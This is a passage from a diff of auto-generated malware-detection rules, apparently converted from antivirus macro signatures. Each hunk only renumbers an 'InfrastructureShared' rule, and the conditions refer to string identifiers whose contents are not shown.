01 00 21 " @@ -290481,7 +306951,7 @@ rule _InfrastructureShared_22116{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22117{ +rule _InfrastructureShared_23401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290491,7 +306961,7 @@ rule _InfrastructureShared_22117{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22118{ +rule _InfrastructureShared_23402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290501,7 +306971,7 @@ rule _InfrastructureShared_22118{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22119{ +rule _InfrastructureShared_23403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290511,7 +306981,7 @@ rule _InfrastructureShared_22119{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22120{ +rule _InfrastructureShared_23404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290521,7 +306991,7 @@ rule _InfrastructureShared_22120{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22121{ +rule _InfrastructureShared_23405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290531,7 +307001,7 @@ rule _InfrastructureShared_22121{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22122{ +rule _InfrastructureShared_23406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290541,7 +307011,7 @@ rule _InfrastructureShared_22122{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22123{ +rule _InfrastructureShared_23407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290551,7 +307021,7 @@ rule _InfrastructureShared_22123{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22124{ +rule _InfrastructureShared_23408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290561,7 +307031,7 @@ rule _InfrastructureShared_22124{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22125{ +rule _InfrastructureShared_23409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290571,7 +307041,7 @@ rule _InfrastructureShared_22125{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22126{ +rule _InfrastructureShared_23410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290581,7 +307051,7 @@ rule _InfrastructureShared_22126{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22127{ +rule _InfrastructureShared_23411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290591,7 +307061,7 @@ rule _InfrastructureShared_22127{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22128{ +rule _InfrastructureShared_23412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290601,7 +307071,7 @@ rule _InfrastructureShared_22128{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22129{ +rule _InfrastructureShared_23413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290611,7 +307081,7 @@ rule _InfrastructureShared_22129{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22130{ +rule _InfrastructureShared_23414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290621,7 +307091,7 @@ rule _InfrastructureShared_22130{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22131{ +rule _InfrastructureShared_23415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290631,7 +307101,7 @@ rule _InfrastructureShared_22131{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22132{ +rule _InfrastructureShared_23416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290641,7 +307111,7 @@ rule _InfrastructureShared_22132{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22133{ +rule _InfrastructureShared_23417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290651,7 +307121,7 @@ rule _InfrastructureShared_22133{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22134{ +rule _InfrastructureShared_23418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290661,7 +307131,7 @@ rule _InfrastructureShared_22134{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22135{ +rule _InfrastructureShared_23419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290671,7 +307141,7 @@ rule _InfrastructureShared_22135{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22136{ +rule _InfrastructureShared_23420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290681,7 +307151,7 @@ rule _InfrastructureShared_22136{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22137{ +rule _InfrastructureShared_23421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290691,7 +307161,7 @@ rule _InfrastructureShared_22137{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22138{ +rule _InfrastructureShared_23422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290701,7 +307171,7 @@ rule _InfrastructureShared_22138{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22139{ +rule _InfrastructureShared_23423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290711,7 +307181,7 @@ rule _InfrastructureShared_22139{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22140{ +rule _InfrastructureShared_23424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290721,7 +307191,7 @@ rule _InfrastructureShared_22140{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22141{ +rule _InfrastructureShared_23425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290731,7 +307201,7 @@ rule _InfrastructureShared_22141{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22142{ +rule _InfrastructureShared_23426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290741,7 +307211,7 @@ rule _InfrastructureShared_22142{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22143{ +rule _InfrastructureShared_23427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290751,7 +307221,7 @@ rule _InfrastructureShared_22143{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22144{ +rule _InfrastructureShared_23428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -290762,7 +307232,7 @@ rule _InfrastructureShared_22144{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*17152) >=1 } -rule _InfrastructureShared_22145{ +rule _InfrastructureShared_23429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290772,7 +307242,7 @@ rule _InfrastructureShared_22145{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22146{ +rule _InfrastructureShared_23430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290782,7 +307252,7 @@ rule _InfrastructureShared_22146{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22147{ +rule _InfrastructureShared_23431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290792,7 +307262,7 @@ rule _InfrastructureShared_22147{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22148{ +rule _InfrastructureShared_23432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290802,7 +307272,7 @@ rule _InfrastructureShared_22148{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22149{ +rule _InfrastructureShared_23433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290812,7 +307282,7 @@ rule _InfrastructureShared_22149{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22150{ +rule _InfrastructureShared_23434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290822,7 +307292,7 @@ rule _InfrastructureShared_22150{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22151{ +rule _InfrastructureShared_23435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290832,7 +307302,7 @@ rule _InfrastructureShared_22151{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22152{ +rule _InfrastructureShared_23436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290842,7 +307312,7 @@ rule _InfrastructureShared_22152{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22153{ +rule _InfrastructureShared_23437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290852,7 +307322,7 @@ rule _InfrastructureShared_22153{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22154{ +rule _InfrastructureShared_23438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290862,7 +307332,7 @@ rule _InfrastructureShared_22154{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22155{ +rule _InfrastructureShared_23439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290872,7 +307342,7 @@ rule _InfrastructureShared_22155{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22156{ +rule _InfrastructureShared_23440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290882,7 +307352,7 @@ rule _InfrastructureShared_22156{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22157{ +rule _InfrastructureShared_23441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290892,7 +307362,7 @@ rule _InfrastructureShared_22157{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22158{ +rule _InfrastructureShared_23442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290902,7 +307372,7 @@ rule _InfrastructureShared_22158{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22159{ +rule _InfrastructureShared_23443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290912,7 +307382,7 @@ rule _InfrastructureShared_22159{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22160{ +rule _InfrastructureShared_23444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290922,7 +307392,7 @@ rule _InfrastructureShared_22160{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22161{ +rule _InfrastructureShared_23445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290932,7 +307402,7 @@ rule _InfrastructureShared_22161{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22162{ +rule _InfrastructureShared_23446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290942,7 +307412,7 @@ rule _InfrastructureShared_22162{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22163{ +rule _InfrastructureShared_23447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290952,7 +307422,7 @@ rule _InfrastructureShared_22163{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22164{ +rule _InfrastructureShared_23448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290962,7 +307432,7 @@ rule _InfrastructureShared_22164{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22165{ +rule _InfrastructureShared_23449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290972,7 +307442,7 @@ rule _InfrastructureShared_22165{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22166{ +rule _InfrastructureShared_23450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290982,7 +307452,7 @@ rule _InfrastructureShared_22166{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22167{ +rule _InfrastructureShared_23451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290992,7 +307462,7 @@ rule _InfrastructureShared_22167{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22168{ +rule _InfrastructureShared_23452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291002,7 +307472,7 @@ rule _InfrastructureShared_22168{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22169{ +rule _InfrastructureShared_23453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291012,7 +307482,7 @@ rule _InfrastructureShared_22169{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22170{ +rule _InfrastructureShared_23454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291022,7 +307492,7 @@ rule _InfrastructureShared_22170{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22171{ +rule _InfrastructureShared_23455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291032,7 +307502,7 @@ rule _InfrastructureShared_22171{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22172{ +rule _InfrastructureShared_23456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291042,7 +307512,7 @@ rule _InfrastructureShared_22172{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22173{ +rule _InfrastructureShared_23457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291052,7 +307522,7 @@ rule _InfrastructureShared_22173{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22174{ +rule _InfrastructureShared_23458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291062,7 +307532,7 @@ rule _InfrastructureShared_22174{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22175{ +rule _InfrastructureShared_23459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291072,7 +307542,7 @@ rule _InfrastructureShared_22175{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22176{ +rule _InfrastructureShared_23460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291082,7 +307552,7 @@ rule _InfrastructureShared_22176{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22177{ +rule _InfrastructureShared_23461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291092,7 +307562,7 @@ rule _InfrastructureShared_22177{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22178{ +rule _InfrastructureShared_23462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291102,7 +307572,7 @@ rule _InfrastructureShared_22178{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22179{ +rule _InfrastructureShared_23463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291112,7 +307582,7 @@ rule _InfrastructureShared_22179{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22180{ +rule _InfrastructureShared_23464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291122,7 +307592,7 @@ rule _InfrastructureShared_22180{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22181{ +rule _InfrastructureShared_23465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291132,7 +307602,7 @@ rule _InfrastructureShared_22181{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22182{ +rule _InfrastructureShared_23466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291142,7 +307612,7 @@ rule _InfrastructureShared_22182{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22183{ +rule _InfrastructureShared_23467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291152,7 +307622,7 @@ rule _InfrastructureShared_22183{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22184{ +rule _InfrastructureShared_23468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291162,7 +307632,7 @@ rule _InfrastructureShared_22184{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22185{ +rule _InfrastructureShared_23469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -291174,7 +307644,7 @@ rule _InfrastructureShared_22185{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*277+(#a_00_2 & 1)*29556) >=2 } -rule _InfrastructureShared_22186{ +rule _InfrastructureShared_23470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291184,7 +307654,7 @@ rule _InfrastructureShared_22186{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22187{ +rule _InfrastructureShared_23471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291194,7 +307664,7 @@ rule _InfrastructureShared_22187{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22188{ +rule _InfrastructureShared_23472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291204,7 +307674,7 @@ rule _InfrastructureShared_22188{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22189{ +rule _InfrastructureShared_23473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291214,7 +307684,7 @@ rule _InfrastructureShared_22189{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22190{ +rule _InfrastructureShared_23474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291224,7 +307694,7 @@ rule _InfrastructureShared_22190{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22191{ +rule _InfrastructureShared_23475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291234,7 +307704,7 @@ rule _InfrastructureShared_22191{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22192{ +rule _InfrastructureShared_23476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291244,7 +307714,7 @@ rule _InfrastructureShared_22192{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22193{ +rule _InfrastructureShared_23477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291254,7 +307724,7 @@ rule _InfrastructureShared_22193{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22194{ +rule _InfrastructureShared_23478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291265,7 +307735,7 @@ rule _InfrastructureShared_22194{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*29793) >=1 } -rule _InfrastructureShared_22195{ +rule _InfrastructureShared_23479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -291276,7 +307746,7 @@ rule _InfrastructureShared_22195{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*26223) >=1 } -rule _InfrastructureShared_22196{ +rule _InfrastructureShared_23480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -291287,7 +307757,7 @@ rule _InfrastructureShared_22196{ ((#a_53_0 & 1)*19747+(#a_31_1 & 1)*29816) >=2 } -rule _InfrastructureShared_22197{ +rule _InfrastructureShared_23481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291297,7 +307767,7 @@ rule _InfrastructureShared_22197{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22198{ +rule _InfrastructureShared_23482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291307,7 +307777,7 @@ rule _InfrastructureShared_22198{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22199{ +rule _InfrastructureShared_23483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291317,7 +307787,7 @@ rule _InfrastructureShared_22199{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22200{ +rule _InfrastructureShared_23484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291327,7 +307797,7 @@ rule _InfrastructureShared_22200{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22201{ +rule _InfrastructureShared_23485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291337,7 +307807,7 @@ rule _InfrastructureShared_22201{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22202{ +rule _InfrastructureShared_23486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291347,7 +307817,7 @@ rule _InfrastructureShared_22202{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22203{ +rule _InfrastructureShared_23487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291357,7 +307827,7 @@ rule _InfrastructureShared_22203{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22204{ +rule _InfrastructureShared_23488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291367,7 +307837,7 @@ rule _InfrastructureShared_22204{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22205{ +rule _InfrastructureShared_23489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291377,7 +307847,7 @@ rule _InfrastructureShared_22205{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22206{ +rule _InfrastructureShared_23490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291387,7 +307857,7 @@ rule _InfrastructureShared_22206{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22207{ +rule _InfrastructureShared_23491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291397,7 +307867,7 @@ rule _InfrastructureShared_22207{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22208{ +rule _InfrastructureShared_23492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291407,7 +307877,7 @@ rule _InfrastructureShared_22208{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22209{ +rule _InfrastructureShared_23493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291417,7 +307887,7 @@ rule _InfrastructureShared_22209{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22210{ +rule _InfrastructureShared_23494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291427,7 +307897,7 @@ rule _InfrastructureShared_22210{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22211{ +rule _InfrastructureShared_23495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291437,7 +307907,7 @@ rule _InfrastructureShared_22211{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22212{ +rule _InfrastructureShared_23496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291447,7 +307917,7 @@ rule _InfrastructureShared_22212{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22213{ +rule _InfrastructureShared_23497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291457,7 +307927,7 @@ rule _InfrastructureShared_22213{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22214{ +rule _InfrastructureShared_23498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291467,7 +307937,7 @@ rule _InfrastructureShared_22214{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22215{ +rule _InfrastructureShared_23499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291477,7 +307947,7 @@ rule _InfrastructureShared_22215{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22216{ +rule _InfrastructureShared_23500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291487,7 +307957,7 @@ rule _InfrastructureShared_22216{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22217{ +rule _InfrastructureShared_23501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -291497,7 +307967,7 @@ rule _InfrastructureShared_22217{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22218{ +rule _InfrastructureShared_23502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ 